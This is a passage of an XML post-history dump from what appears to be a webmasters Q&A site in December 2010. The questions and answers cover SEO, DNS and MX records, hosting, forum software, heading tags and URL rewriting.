     float: left;&#xD;&#xA;         display: table-cell;&#xD;&#xA;        }&#xD;&#xA;        &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;and&#xD;&#xA;    &#xD;&#xA;        &lt;div id=&quot;mainbulk&quot;&gt;&#xD;&#xA;         &lt;div id=&quot;textcontent&quot;&gt;&#xD;&#xA;          &lt;p&gt;This is the most amazing site in the world. It has a very nice design, and is perfect for everything. If there's something that this site can't do, then nothing can do it, but I'd suggest to try all of this site's features before complaining.&lt;/p&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;            &lt;div id=&quot;ads&quot; align=&quot;right&quot;&gt;&#xD;&#xA;            ads would, hypothetically, be placed here if this were actually an actual website.&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;[I'm encountering this problem. Please click on this link to see.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.screencast-o-matic.com/watch/c6lrXsXyQ125" />
  <row Id="14109" PostHistoryTypeId="1" PostId="7021" RevisionGUID="d9187022-6bd7-407c-a130-df331dab848b" CreationDate="2010-12-22T15:49:51.293" UserDisplayName="DarkLightA" Text="How can I get this div layout?" />
  <row Id="14110" PostHistoryTypeId="3" PostId="7021" RevisionGUID="d9187022-6bd7-407c-a130-df331dab848b" CreationDate="2010-12-22T15:49:51.293" UserDisplayName="DarkLightA" Text="&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="14111" PostHistoryTypeId="10" PostId="7021" RevisionGUID="5b6221c2-c20f-4eca-8e69-3b4a3be7e1ad" CreationDate="2010-12-22T15:54:15.580" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14115" PostHistoryTypeId="5" PostId="7011" RevisionGUID="22c45d61-f578-45b6-986a-f0ac64cb6dcd" CreationDate="2010-12-22T16:05:40.240" UserId="3590" Comment="added 165 characters in body; edited tags; edited title" Text="Imagine situation where multiple aliases point to the same server, where htacces divides them into their own language folders.&#xD;&#xA;&#xD;&#xA;    Example:  &#xD;&#xA;    mywebsite.fr &gt;&gt; /fr/home  &#xD;&#xA;    mywebsite.de &gt;&gt; /de/home  &#xD;&#xA;    mywebsite.it &gt;&gt; /it/home  &#xD;&#xA;    about seven more domains... &#xD;&#xA;&#xD;&#xA;**Updated / Better Specified Question:**  &#xD;&#xA;Now, which one is best for pr? Meaning: will the PR be spread through the different aliases therefore not getting anywhere? or should i set a Canonical&#xD;&#xA;" />
  <row Id="14116" PostHistoryTypeId="4" PostId="7011" RevisionGUID="22c45d61-f578-45b6-986a-f0ac64cb6dcd" CreationDate="2010-12-22T16:05:40.240" UserId="3590" Comment="added 165 characters in body; edited tags; edited title" Text="Which is best for PageRank? When multi-Aliases point to same server, with multi-language folders." />
  <row Id="14117" PostHistoryTypeId="6" PostId="7011" RevisionGUID="22c45d61-f578-45b6-986a-f0ac64cb6dcd" CreationDate="2010-12-22T16:05:40.240" UserId="3590" Comment="added 165 characters in body; edited tags; edited title" Text="&lt;domains&gt;&lt;pagerank&gt;&lt;canonical-url&gt;" />
  <row Id="14118" PostHistoryTypeId="5" PostId="7011" RevisionGUID="8289c802-c2a9-49d2-98c2-53c124a35910" CreationDate="2010-12-22T16:12:54.620" UserId="3590" Comment="added 605 characters in body; edited tags" Text="Imagine situation where multiple aliases point to the same server, where htacces divides them into their own language folders.&#xD;&#xA;&#xD;&#xA;    Example:  &#xD;&#xA;    mywebsite.fr &gt;&gt; /fr/home  &#xD;&#xA;    mywebsite.de &gt;&gt; /de/home  &#xD;&#xA;    mywebsite.it &gt;&gt; /it/home  &#xD;&#xA;    about seven more domains... &#xD;&#xA;&#xD;&#xA;**Possible options to maintain in terms of SEO:**  &#xD;&#xA;&#xD;&#xA;1. Dont do anything, let the different versions of home sit on their own alias.&#xD;&#xA;&#xD;&#xA;2. Set a canonical for each page 1 and the same master url &#xD;&#xA;no matter what alias you are at, the canonical reads: `website.com/fr/home` `website.com/it/home` or `website.com/de/home` etc  &#xD;&#xA;&#xD;&#xA;3. let all domains permanent redirect to master url (website.com together with their language folders set. so   &#xD;&#xA;`website.fr &gt;301&gt; website.com/fr/home  website.de &gt;301&gt; website.com/de/home etc.`&#xD;&#xA;&#xD;&#xA;4. ([please suggest &amp; I will update it here)&#xD;&#xA;&#xD;&#xA;**Questions that come to Mind:**&#xD;&#xA;Which one is best for PageRank? Which one will focus the PageRank into one domain? Which one will cause spread? Is Canonical used properly for 2.?&#xD;&#xA;Thanks! all comments are valued greatly.&#xD;&#xA;" />
  <row Id="14119" PostHistoryTypeId="6" PostId="7011" RevisionGUID="8289c802-c2a9-49d2-98c2-53c124a35910" CreationDate="2010-12-22T16:12:54.620" UserId="3590" Comment="added 605 characters in body; edited tags" Text="&lt;seo&gt;&lt;domains&gt;&lt;pagerank&gt;&lt;canonical-url&gt;" />
  <row Id="14120" PostHistoryTypeId="2" PostId="7022" RevisionGUID="5b6e417a-6b37-4b21-a531-85a8e3bbdd3e" CreationDate="2010-12-22T16:26:19.650" UserId="3307" Text="[Simple Machines][1] (smf) - used to be known as YABB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.simplemachines.org/" />
  <row Id="14121" PostHistoryTypeId="2" PostId="7023" RevisionGUID="a465a5ee-f1de-4514-9425-f0c61611d496" CreationDate="2010-12-22T16:43:38.253" UserId="3590" Text="We all know the importance ans significance of Headings for Professional Webmasters. These were known for professional developers as `&lt;h1&gt;Heading 1&lt;/h1&gt;` h2 ... h6.&#xD;&#xA;&#xD;&#xA;As a daring webdeveloper I lately needed more short headings for complex structured document and i thought what the hell and went ahead and used in css   &#xD;&#xA;&#xD;&#xA;    h1,h2,h3,h4,h5,h6{ }&#xD;&#xA;&#xD;&#xA;    h7{ }&#xD;&#xA;    h8{ }&#xD;&#xA;    h9{ }&#xD;&#xA;&#xD;&#xA;My experiment turned out to pay back. But only in Firefox, Safari, Chrome etc, not in Internet Explorer 8.&#xD;&#xA;&#xD;&#xA;**Q1.** Who(&amp;When) decided that All headings should go upto h6, and not h4 or h7?  &#xD;&#xA;**Q2.** Why h7 -h9 work perfect in all major browsers, except IE8?  &#xD;&#xA;**Q3.** What is the significance for Bing,Yahoo and Googld in terms of recognition or headings h1 ~ h9?  obviously h1 is more important than 2, but do they differentiate between h5 and h6? or not anymore after h3?" />
  <row Id="14122" PostHistoryTypeId="1" PostId="7023" RevisionGUID="a465a5ee-f1de-4514-9425-f0c61611d496" CreationDate="2010-12-22T16:43:38.253" UserId="3590" Text="Question aboud Headings For Professionals &lt;H1&gt;... &lt;H9&gt; in SEO &amp; Browsercompatibility Differences." />
  <row Id="14123" PostHistoryTypeId="3" PostId="7023" RevisionGUID="a465a5ee-f1de-4514-9425-f0c61611d496" CreationDate="2010-12-22T16:43:38.253" UserId="3590" Text="&lt;seo&gt;&lt;html&gt;&lt;css&gt;&lt;tags&gt;&lt;headers&gt;" />
  <row Id="14124" PostHistoryTypeId="2" PostId="7024" RevisionGUID="6811610f-6888-4ffd-9013-061bfba045de" CreationDate="2010-12-22T16:47:12.997" UserId="1253" Text="1) The [w3c][1] decided this as they are the ones who wrote the HTML 4 specs.&#xD;&#xA;&#xD;&#xA;2) Because they don't exist. Since browsers are supposed to ignore incorrect HTML tags they simply display the content and ignore the tag. (I don't know what IE 8 does but it's probably incorrect if it is not displaying the content).&#xD;&#xA;&#xD;&#xA;3) Most likely as the `&lt;hx&gt;` goes down in number its weight diminishes with `&lt;h6&gt;` being probably no/marginally better then using `&lt;strong&gt;`. Their exact weight is unknown.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/&#xD;&#xA;  [2]: http://www.w3schools.com/TAGS/tag_hn.asp" />
  <row Id="14125" PostHistoryTypeId="2" PostId="7025" RevisionGUID="d27fcbe6-43d4-4165-9eb3-6d9e5fbb3d24" CreationDate="2010-12-22T16:57:44.410" UserId="1591" Text="I have only administered one forum, which is phpBB-based.  Recaptcha was a godsend, instating it for user registration and unregistered posts reduced spam to a fraction.  Additionally we still use a blacklist filter which does keep out some remaining spam but may be more annoying than helpful." />
  <row Id="14126" PostHistoryTypeId="2" PostId="7026" RevisionGUID="3330b918-a402-4798-ae1e-3aa4b6a1fc9f" CreationDate="2010-12-22T17:17:19.563" UserDisplayName="tarrabyte" Text="I have one hosting account and about 11 domains. The domains are completely individual not having content, topic or themes in common, 11 indidivual domains and websites. &#xD;&#xA;&#xD;&#xA;To save some cash up front I created subdomains each website/domain is on a subdomain using the one hosting account. People access the sites through their own URL's (www.bedbugsnorthwest.com, www.solartravel.net) etc. &#xD;&#xA;&#xD;&#xA;Would it be better for the sites for SEO to each have their own individual hosting account and not be a subdomain of the main account www.oldrockers.org? Thanks." />
  <row Id="14127" PostHistoryTypeId="1" PostId="7026" RevisionGUID="3330b918-a402-4798-ae1e-3aa4b6a1fc9f" CreationDate="2010-12-22T17:17:19.563" UserDisplayName="tarrabyte" Text="should I move my completed site from it's subdomain to it's own hosting? Will it hurt SEO" />
  <row Id="14128" PostHistoryTypeId="3" PostId="7026" RevisionGUID="3330b918-a402-4798-ae1e-3aa4b6a1fc9f" CreationDate="2010-12-22T17:17:19.563" UserDisplayName="tarrabyte" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;subdomain&gt;" />
  <row Id="14129" PostHistoryTypeId="2" PostId="7027" RevisionGUID="e099d136-94f9-4f9f-8bcc-d12720d412bb" CreationDate="2010-12-22T17:29:08.737" UserId="2293" Text="John Conde provided a good answer, BAU.&#xD;&#xA;&#xD;&#xA;However, I saw your comments on John Conde's reply. I'm member of WHATWG (the current HTML5 development process is: whatwg discuss, create, change, and W3C just keep a consolidated copy. Kristen from Opera is the copy keeper).&#xD;&#xA;&#xD;&#xA;That said, there was exactly the same question a time before, asking for headings beyond H6. But only a really few websites have this need.&#xD;&#xA;&#xD;&#xA;Your example, asking about breadcrumbs... you should not use headings at all for an **auxiliar** navigation widget.&#xD;&#xA;&#xD;&#xA;The idea was refused by majority with the above explanation." />
  <row Id="14130" PostHistoryTypeId="2" PostId="7028" RevisionGUID="9d7fccf3-3835-49fa-bc82-16db91f0d996" CreationDate="2010-12-22T19:18:41.380" UserId="1757" Text="What you're describing aren't [subdomains][1]. And there's absolutely no reason to maintain separate hosting accounts for each domain.&#xD;&#xA;&#xD;&#xA;It won't hurt SEO to switch to a different hosting account or even a new web host, but what benefits do you hope to gain from managing 11 different hosting accounts?&#xD;&#xA;&#xD;&#xA;There's a reason why web hosts allow you to operate multiple sites on a single account. An account is simply a way to provide access to services. It's a set of login credentials that let you access their control panel and network services, and it's a way to encapsulate services rendered for accounting purposes.&#xD;&#xA;&#xD;&#xA;Unless each site belongs to a separate business that needs to be separated for accounting purposes, or their login credentials need to be unique for security reasons, there's no reason to move them to separate accounts.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Subdomain" />
  <row Id="14131" PostHistoryTypeId="2" PostId="7029" RevisionGUID="bf78e8bf-ae05-4658-a6fa-05c852e9c2f3" CreationDate="2010-12-22T19:52:09.730" UserId="2293" Text=" 1. Start your favorite Linux&#xD;&#xA; 2. Open a terminal&#xD;&#xA; 3. type &quot;$whois www.domain.tld&quot;&#xD;&#xA; 4. Read&#xD;&#xA;&#xD;&#xA;This can give you the desired information. You can try running any command line execution command through PHP, Python, Ruby or Java from your hosting service.&#xD;&#xA;&#xD;&#xA;Well, after hand crafted solution, you can finally if you wish, go to current national domain registration entities. They provide the most accurate information - far better than easy to find one size fits all services." />
  <row Id="14132" PostHistoryTypeId="5" PostId="6886" RevisionGUID="5fa0583b-8eaa-41cd-bec9-09e437f2bab9" CreationDate="2010-12-22T21:29:57.337" UserId="2621" Comment="Added usage cases" Text="A cname record is a pointer that points to a fully qualified domain name(fqdn), an A Record is a pointer that points to an ip adress.&#xD;&#xA;&#xD;&#xA;**Edit:** these records exist on your aptly named Name Server (aka NS) which your registrar points to.&#xD;&#xA;&#xD;&#xA;**Edit #2:** A CNAME record would in some cases is preferred to a a record where you can't actually point to an IP address because it changes. One example of this would be a cloud service where the server IP address changed and the service doesn't manage your name records you have to use a CNAME to point to an address that they can dynamically update. Another one would be the DDNS services, most of the modern dsl modems support this feature, when enabled at your modem every time the ip address changes your modem updates the service and you have one up-to-date fqdn which later you can point to." />
  <row Id="14133" PostHistoryTypeId="2" PostId="7030" RevisionGUID="5693a3ff-3306-451d-985f-d913f9c7af44" CreationDate="2010-12-22T21:35:18.127" UserId="4067" Text="I am transferring a client from their old host to my new one. Their domain-based gmail/apps account was connected to their old host, so when I changed the domain's nameservers to the new host, naturally the gmail account stopped working.&#xD;&#xA;&#xD;&#xA;So I added the 7 MX records tho the new host's DNS and verified I own the domain on the new host's FTP but the email still isn't working. Is there something I'm missing?&#xD;&#xA;&#xD;&#xA;I added the MX records to the new host about an hour ago, is it possible it just takes longer than that? Also, outgoing mail seems to work. Members of the domain can't receive email though, just sends back an error.&#xD;&#xA;&#xD;&#xA;Thanks, Wade" />
  <row Id="14134" PostHistoryTypeId="1" PostId="7030" RevisionGUID="5693a3ff-3306-451d-985f-d913f9c7af44" CreationDate="2010-12-22T21:35:18.127" UserId="4067" Text="Switch Hosts With Gmail Account Attached" />
  <row Id="14135" PostHistoryTypeId="3" PostId="7030" RevisionGUID="5693a3ff-3306-451d-985f-d913f9c7af44" CreationDate="2010-12-22T21:35:18.127" UserId="4067" Text="&lt;domains&gt;&lt;dns&gt;&lt;email&gt;&lt;name-servers&gt;" />
  <row Id="14136" PostHistoryTypeId="5" PostId="7030" RevisionGUID="f1731c12-c34c-4c64-af90-db9af08ea278" CreationDate="2010-12-22T21:41:51.193" UserId="4067" Comment="added 3 characters in body" Text="I am transferring a client from their old host to my new one. Their domain-based gmail/apps account was connected to their old host, so when I changed the domain's name servers to the new host, naturally the gmail account stopped working.&#xD;&#xA;&#xD;&#xA;So I added the 7 MX records tho the new host's DNS and verified I own the domain on the new host's FTP but the email still isn't working. Is there something I'm missing?&#xD;&#xA;&#xD;&#xA;I added the MX records to the new host about two hours ago, is it possible it just takes longer than that? Also, outgoing mail seems to work. Members of the domain can't receive email though, just sends back an error.&#xD;&#xA;&#xD;&#xA;Thanks, Wade" />
  <row Id="14137" PostHistoryTypeId="2" PostId="7031" RevisionGUID="590f05f6-badf-44ae-8c64-d095615e467f" CreationDate="2010-12-22T22:57:27.497" UserId="3514" Text="It can take up to 48 hours for dns settings to transfer/become correct. Didn't you read the warnings on both your host and google?" />
  <row Id="14138" PostHistoryTypeId="2" PostId="7032" RevisionGUID="6216716a-e846-4a98-ab78-469d23912244" CreationDate="2010-12-22T23:55:18.770" UserId="3142" Text="Is there any reason, possibly SEO-related, to using the [shebang][1] (aka &quot;hashbang&quot;) in rewritten URLs on a dynamic site, but one that does not use AJAX?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Shebang_%28Unix%29" />
  <row Id="14139" PostHistoryTypeId="1" PostId="7032" RevisionGUID="6216716a-e846-4a98-ab78-469d23912244" CreationDate="2010-12-22T23:55:18.770" UserId="3142" Text="#! in URL: Is there any merit to using the shebang (#!) in URL if there is no AJAX-loaded content, but otherwise dynamic page generation?" />
  <row Id="14140" PostHistoryTypeId="3" PostId="7032" RevisionGUID="6216716a-e846-4a98-ab78-469d23912244" CreationDate="2010-12-22T23:55:18.770" UserId="3142" Text="&lt;seo&gt;&lt;google&gt;&lt;url&gt;&lt;url-rewriting&gt;" />
  <row Id="14141" PostHistoryTypeId="2" PostId="7033" RevisionGUID="e9f72ff2-a860-4dcd-a86d-c1df5e9840ac" CreationDate="2010-12-23T01:01:58.630" UserId="233" Text="Yes, but only provided that the content you display is not part of the HTML source returned.&#xD;&#xA;&#xD;&#xA;If, for example, you had 3 divs representing tabs and you show/hide them on clicking a tab, then you should not use `#!` because the content is already in the HTML. You wouldn't be able to return a different page on the &quot;escaped fragment&quot; URL.&#xD;&#xA;&#xD;&#xA;If you are generating HTML on-the-fly, then you could use the `#!` to bring the user back to the exact state they were at." />
  <row Id="14142" PostHistoryTypeId="2" PostId="7034" RevisionGUID="c06f532f-0d22-4165-b2b0-26112cdac88c" CreationDate="2010-12-23T03:41:51.230" UserId="1218" Text="I generally use http://www.whoishostingthis.com/, simple, does the job, and they claim to be more reliable than Netcraft (also excellent, but more powerful and therefore a little less user-friendly). &#xD;&#xA;&#xD;&#xA;Love the bookmarklet that lets you see the hosting company of the site you're currently browsing: http://www.whoishostingthis.com/tools/" />
  <row Id="14143" PostHistoryTypeId="2" PostId="7035" RevisionGUID="83c25269-c793-42ad-9909-f27fd74165f1" CreationDate="2010-12-23T04:34:23.300" UserId="4070" Text="i want to make clean url from normal url :&#xD;&#xA;&#xD;&#xA;    // Normal URL&#xD;&#xA;    home.php?kategori=dress&#xD;&#xA;&#xD;&#xA;    // Clean URL&#xD;&#xA;    home.php/dress&#xD;&#xA;&#xD;&#xA;How could i build clean url like above..&#xD;&#xA;Thanks in advance" />
  <row Id="14144" PostHistoryTypeId="1" PostId="7035" RevisionGUID="83c25269-c793-42ad-9909-f27fd74165f1" CreationDate="2010-12-23T04:34:23.300" UserId="4070" Text="Basic way to clean url from normal url" />
  <row Id="14145" PostHistoryTypeId="3" PostId="7035" RevisionGUID="83c25269-c793-42ad-9909-f27fd74165f1" CreationDate="2010-12-23T04:34:23.300" UserId="4070" Text="&lt;web-development&gt;&lt;php&gt;" />
  <row Id="14149" PostHistoryTypeId="2" PostId="7037" RevisionGUID="d8bdd2b1-0050-4724-be1f-e31af79d4e47" CreationDate="2010-12-23T07:39:51.370" UserId="3819" Text="**vBulletin:**&#xD;&#xA;==&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I own an active **vBulletin** forum (for three years now) that averages 1,100 users logging in each day, and I highly advise **against** going with vBulletin. Ever since v4.0 and the buyout of the original developer, vBulletin has had an increasing rift in its community. It's been over a year since v4.0 has been out and I, along with many other big board owners, are staying at v3.8.x for the foreseeable future.&#xD;&#xA;&#xD;&#xA;I'll change forum software before I upgrade vBulletin. In general, vBulletin feels like you're dealing with sold software, and you really are. It's meticulous and badly designed. vBulletin was great in the mid 2000s, but current vB feels like they just kept monkey-patching their core product rather than renovating it.&#xD;&#xA;&#xD;&#xA;HOWEVER, due to vB's entrenched popularity, it has a great modification community with a huge assortment of modifications. But a lot of them are just making up for core functionality that vB lacks, or they're bells and whistles, or they're modules already replicated on other forum softwares.&#xD;&#xA;&#xD;&#xA;vBulletin also scales pretty poorly out of the box.&#xD;&#xA;&#xD;&#xA;**[Invision Power Board][1]:**&#xD;&#xA;=======&#xD;&#xA;&#xD;&#xA;Within the past year, I started a successful Invision Power Board (IP.Board). It's the other large contender in premium forum software.&#xD;&#xA;&#xD;&#xA;Love IPBoard. Solid software. Contemporary design and coding decisions. After using vBulletin for so long, IPBoard feels like a forum platform made by the guys that created Wordpress. Very useable, solid administration backend, and includes a lot of core functionality that vBullet painfully doesn't have.&#xD;&#xA;&#xD;&#xA;Scales very well out of the box. Low performance requirements. **Highly recommended**.&#xD;&#xA;&#xD;&#xA;It's also very easy to skin if you know the basics of CSS.&#xD;&#xA;&#xD;&#xA;**phpBB:**&#xD;&#xA;=======&#xD;&#xA;&#xD;&#xA;Pretty much the status quo for free forum software. Massive community. Massive amount of modifications. Every question you have has been asked. **Highly recommended**&#xD;&#xA;&#xD;&#xA;I doubt I'll ever pay for forum software again. It's unnecessary and support isn't that helpful anyways. The only real problem with forum software is, down the road, high load on the server. But that's such a big cross-that-bridge-when-you-get-there issue and there are plenty of resources for all forum platforms.&#xD;&#xA;&#xD;&#xA;Runner Up: **[Simple Machines][2]**: Clean. Good performance. But I only did some coding work on it for another forum and didn't get a big look at it beyond what I saw.&#xD;&#xA;&#xD;&#xA;Those are the only platforms I have experience with. My basic advice is to try IPBoard out (they have a free trial hosted right on their website) and then give some free options a try. Explore the respective communities and make your decision based on what feels the best to you and what community seems to be able to answer your particular questions the best.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.invisionpower.com/products/board/&#xD;&#xA;  [2]: http://www.simplemachines.org/" />
  <row Id="14150" PostHistoryTypeId="2" PostId="7038" RevisionGUID="a4f182ea-e638-4acf-90c1-098574133b0e" CreationDate="2010-12-23T08:12:41.550" UserId="1253" Text="You're looking for [mod_rewrite][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?aq=0&amp;oq=mod+rewrite+tuto&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=mod_rewrite+tutorial" />
  <row Id="14155" PostHistoryTypeId="2" PostId="7040" RevisionGUID="93524f89-8b06-4d1c-aaf3-3f826a34a4ce" CreationDate="2010-12-23T10:40:07.840" UserId="711" Text="It depends a bit on what you mean with &quot;dynamic page generation.&quot; &#xD;&#xA;&#xD;&#xA;If you are dynamically generating your pages on the server side (eg. a PHP script) and sending them to all users that way, then you wouldn't need to additionally add the #! to the URLs, since the content doesn't get compiled by the client (it's already sent that way by the server). &#xD;&#xA;&#xD;&#xA;If you are dynamically generating your pages on the client side (using JavaScript, Flash, Silverlight, etc), *and* you're able to serve a copy generated on the server side, then using the [AJAX-crawling](http://code.google.com/web/ajaxcrawling/) techniques might make sense. If you're not able to generate a copy of the pages on the server side (and not planning on adding that functionality), then there would be no advantage by using #! in your URLs (compared to just using # ). " />
  <row Id="14156" PostHistoryTypeId="2" PostId="7041" RevisionGUID="cbeb1d4d-f416-40d9-b327-96cec4015c40" CreationDate="2010-12-23T10:41:39.480" UserId="4073" Text="I'm having a domain which is hosted in dedicated server, and i brought another server with plesk support, I created the same domian name on the plesk and now I need transfer my domiain name from older to plesk, &#xD;&#xA;&#xD;&#xA;How is it possible..." />
  <row Id="14157" PostHistoryTypeId="1" PostId="7041" RevisionGUID="cbeb1d4d-f416-40d9-b327-96cec4015c40" CreationDate="2010-12-23T10:41:39.480" UserId="4073" Text="How to move a domain name from other server to plesk" />
  <row Id="14158" PostHistoryTypeId="3" PostId="7041" RevisionGUID="cbeb1d4d-f416-40d9-b327-96cec4015c40" CreationDate="2010-12-23T10:41:39.480" UserId="4073" Text="&lt;domains&gt;&lt;server&gt;&lt;domain-registration&gt;" />
  <row Id="14159" PostHistoryTypeId="2" PostId="7042" RevisionGUID="3b4c5daa-a602-40b1-8ee7-c337a9c9f19e" CreationDate="2010-12-23T10:51:11.917" UserDisplayName="Indian T.v Serials" Text="&#xD;&#xA;I'd agree with the abuse potential if this were part of the organic ranking algo - but it's confined just to google news sites. That is a controlled, small set of all sites. Any site needs to apply and be accepted first and abusers can be dropped once they are identified. " />
  <row Id="14160" PostHistoryTypeId="2" PostId="7043" RevisionGUID="d9c21284-1b06-4239-a519-99a03157f2c4" CreationDate="2010-12-23T11:03:26.927" UserId="2927" Text="I thought I'd answer my own question now that I have some experience of coding such a system. It seems that having a rough approximation is sufficient:&#xD;&#xA;&#xD;&#xA; - The&#xD;&#xA;   solution I have coded  delivers very&#xD;&#xA;   similar (but not identical) markup&#xD;&#xA;   (by this I mean not all attributes&#xD;&#xA;   are always populated)&#xD;&#xA; - about 80% of&#xD;&#xA;   the same content appears (the crawled&#xD;&#xA;   version is a strict subset of the&#xD;&#xA;   user version) &#xD;&#xA; - The content, while the&#xD;&#xA;   same, is ordered differently&#xD;&#xA;&#xD;&#xA;Google now seems to have indexed over 2000 of my pages now, and we are seeing real (yet very small at this point in time) search traffic.&#xD;&#xA;&#xD;&#xA;I have posted more details on my blog at http://blog.dansingerman.com if anyone is interested." />
  <row Id="14161" PostHistoryTypeId="5" PostId="7043" RevisionGUID="9b78c375-3268-4808-82b9-a22c259cce54" CreationDate="2010-12-23T11:15:14.830" UserId="2927" Comment="deleted 3 characters in body" Text="I thought I'd answer my own question now that I have some experience of coding such a system. It seems that having a rough approximation is sufficient. The solution I have coded:&#xD;&#xA;&#xD;&#xA; -  delivers very&#xD;&#xA;   similar (but not identical) markup&#xD;&#xA;   (by this I mean not all attributes&#xD;&#xA;   are always populated)&#xD;&#xA; - about 80% of&#xD;&#xA;   the same content appears (the crawled&#xD;&#xA;   version is a strict subset of the&#xD;&#xA;   user version) &#xD;&#xA; - The content, while the&#xD;&#xA;   same, is ordered differently&#xD;&#xA;&#xD;&#xA;Google now seems to have indexed over 2000 of my pages now, and we are seeing real (yet very small at this point in time) search traffic.&#xD;&#xA;&#xD;&#xA;I have posted more details on my blog at http://blog.dansingerman.com if anyone is interested." />
  <row Id="14162" PostHistoryTypeId="2" PostId="7044" RevisionGUID="3b45e39f-28e1-41fc-9e65-cbf38f8bd557" CreationDate="2010-12-23T11:24:23.360" UserId="233" Text="Officially it takes up to 48 hours to propagate throughout the world, but for me changes have never taken more than 6 hours.&#xD;&#xA;&#xD;&#xA;If it's still not working now, you should look at whether you made any mistakes setting the DNS records. You can also try these services to make sure it's working from other places:&#xD;&#xA;&#xD;&#xA;* [CheckDNS.net][1]&#xD;&#xA;* [MXToolbox.com][2] (for MX records)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.checkdns.net/quickcheckdomainf.aspx&#xD;&#xA;  [2]: http://www.mxtoolbox.com/" />
  <row Id="14163" PostHistoryTypeId="2" PostId="7045" RevisionGUID="3b8f3efa-5ad8-4a5f-b503-3eea4b52b305" CreationDate="2010-12-23T11:29:34.170" UserId="233" Text="There is no difference between your two examples. However, if your differently-coloured word is an important keyword, you may consider using the `&lt;em&gt;` or `&lt;strong&gt;` tag to suggest emphasis. CSS can take care of the styling:&#xD;&#xA;&#xD;&#xA;    h1 em {&#xD;&#xA;      font-style: normal;&#xD;&#xA;      color: #123456;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Emphasis usually boosts SEO a little, although I don't know how much difference it makes when inside a header. Regardless, it makes for some simpler and more semantic HTML which is always a bonus." />
  <row Id="14164" PostHistoryTypeId="2" PostId="7046" RevisionGUID="220cf9f8-bb83-4e33-99e4-3245c25fef4c" CreationDate="2010-12-23T11:49:12.460" UserId="1240" Text="I was wondering what is going to be the easiest way to do the following;&#xD;&#xA;&#xD;&#xA;Point wibble.site1.com to site2.com/directory/&#xD;&#xA;&#xD;&#xA;So that wibble.site1.com/index.php will read from site2.com/directory/index.php&#xD;&#xA;&#xD;&#xA;Any guidance would be greatly appreciated, pretty much everything I have found online helps you jump around within your own domain or gets you to the root of another domain." />
  <row Id="14165" PostHistoryTypeId="1" PostId="7046" RevisionGUID="220cf9f8-bb83-4e33-99e4-3245c25fef4c" CreationDate="2010-12-23T11:49:12.460" UserId="1240" Text="Subdomain redirection to directory on another domain." />
  <row Id="14166" PostHistoryTypeId="3" PostId="7046" RevisionGUID="220cf9f8-bb83-4e33-99e4-3245c25fef4c" CreationDate="2010-12-23T11:49:12.460" UserId="1240" Text="&lt;domains&gt;&lt;redirects&gt;" />
  <row Id="14167" PostHistoryTypeId="2" PostId="7047" RevisionGUID="7ff16174-1495-41ee-8555-987d9c1b3c88" CreationDate="2010-12-23T11:52:34.330" UserId="711" Text="Keep in mind that the robots.txt controls crawling, not indexing ([docs](http://code.google.com/web/controlcrawlindex/)). It's possible that a URL is indexed even if it has never been crawled before. In general, that doesn't matter -- it's not like the URL is going to show up in search results if the rest of your site is indexed normally. If you do want to be certain that these URLs do not show up in search results, you can either:&#xD;&#xA;&#xD;&#xA;* Allow crawling (remove the disallow) and serve a &quot;noindex&quot; robots meta tag with the pages&#xD;&#xA;* Use the [URL removal tools](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=164734) in Google Webmaster Tools to have those URLs removed from Google's index&#xD;&#xA;&#xD;&#xA;FWIW I would also reconsider disallowing CSS/JavaScript, as this can be used to generate preview images for your pages. Also, don't use robots.txt as a means of canonicalization (the &quot;.php&quot; and &quot;?&quot; in your robots.txt file), if we can't crawl it, we can't recognize that you have a better version." />
  <row Id="14168" PostHistoryTypeId="5" PostId="5449" RevisionGUID="d2cfb401-2036-4ac8-9aa6-e8b732debfc4" CreationDate="2010-12-23T12:24:18.620" UserId="233" Comment="spelling" Text="Google indexes certain documents like PDFs and Word files perfectly fine. But it places a much larger weight on regular web pages. This is mainly to avoid &quot;breaking the web&quot; by forcing the user into a different program (Adobe Reader etc). Cross-platform compatibility is an issue too.&#xD;&#xA;&#xD;&#xA;The best way to get your documents ranking higher is search engines is to convert them to web pages. You could convert them to static, isolated web pages (there are surely many converter apps around), although  integrating them into your site design would be much more effective. You can then include appropriate titles and headings, which aid in ranking, as well as cross-linking documents." />
  <row Id="14169" PostHistoryTypeId="2" PostId="7048" RevisionGUID="6833d3f6-e61d-4609-b0c8-af137e951524" CreationDate="2010-12-23T12:58:16.827" UserId="2293" Text="If I got you right, you are not generating server-side content. Well, the hashbang is intended to be used local.&#xD;&#xA;&#xD;&#xA;It has nothing to do with server. I mean, hashbang and beyond in URL isn't sent to server by browser. It is used by browser to be resolved locally.&#xD;&#xA;&#xD;&#xA;Its first know use, AFAIK, was with named anchors. But with javascript, you can use them to display page with an enhanced layout, without hurting accessibility, like in a tabbed menu or a few-steps process index for example." />
